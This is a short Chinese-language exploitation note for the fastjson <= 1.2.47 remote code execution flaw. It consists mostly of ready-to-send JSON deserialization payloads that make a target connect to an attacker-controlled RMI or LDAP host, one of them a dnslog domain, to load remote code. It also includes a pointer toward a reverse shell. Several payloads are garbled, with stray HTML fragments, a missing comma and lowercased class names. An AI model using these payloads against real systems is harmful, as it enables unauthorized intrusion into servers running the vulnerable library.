fastjson rce 利用记录

fastjson <= 1.2.47 远程命令执行漏洞利用工具及方法记录

poc

rmi://、ldap:// 可以切换尝试。

param={
    "@type": "java.lang.class",
    br / > "a": {
        "@type": "java.lang.class",
        "val": "com.sun.rowset.jdbcrowsetimpl"
        "@type": "com.sun.rowset.jdbcrowsetimpl",
        br / >
    },
    "b": {
        "@type": "com.sun.rowset.jdbcrowsetimpl",
        "datasourcename": "ldap://your ip/",
        "autocommit": true
    }
}

param={
    "b":{
        "@type":"com.sun.rowset.jdbcrowsetimpl",
        "datasourcename":"rmi://your ip/",
        "autocommit":true
    }
}

param={"orderno":"b200414195915053000","partnerorderno":"dc200414593341","x":{"@type":"com.sun.rowset.jdbcrowsetimpl","datasourcename":"ldap://your ip/","autocommit":true}}

param={"name":{"@type":"java.lang.class","val":"com.sun.rowset.jdbcrowsetimpl"},"x":{"@type":"com.sun.rowset.jdbcrowsetimpl","datasourcename":"ldap://your ip/","autocommit":true}}}

param={"@type":"com.sun.rowset.jdbcrowsetimpl","datasourcename":"rmi://9jo6zi.dnslog.cn","autocommit":true}

param={"@type":"com.sun.rowset.jdbcrowsetimpl","datasourcename":"rmi://your ip/","autocommit":true}

如果监听服务器有流量，可以继续下一步，可以使用dnslog。

参考

反弹shell
https://blog.csdn.net/jiajiajiang_/article/details/103255659

复现pyload

靶场

教程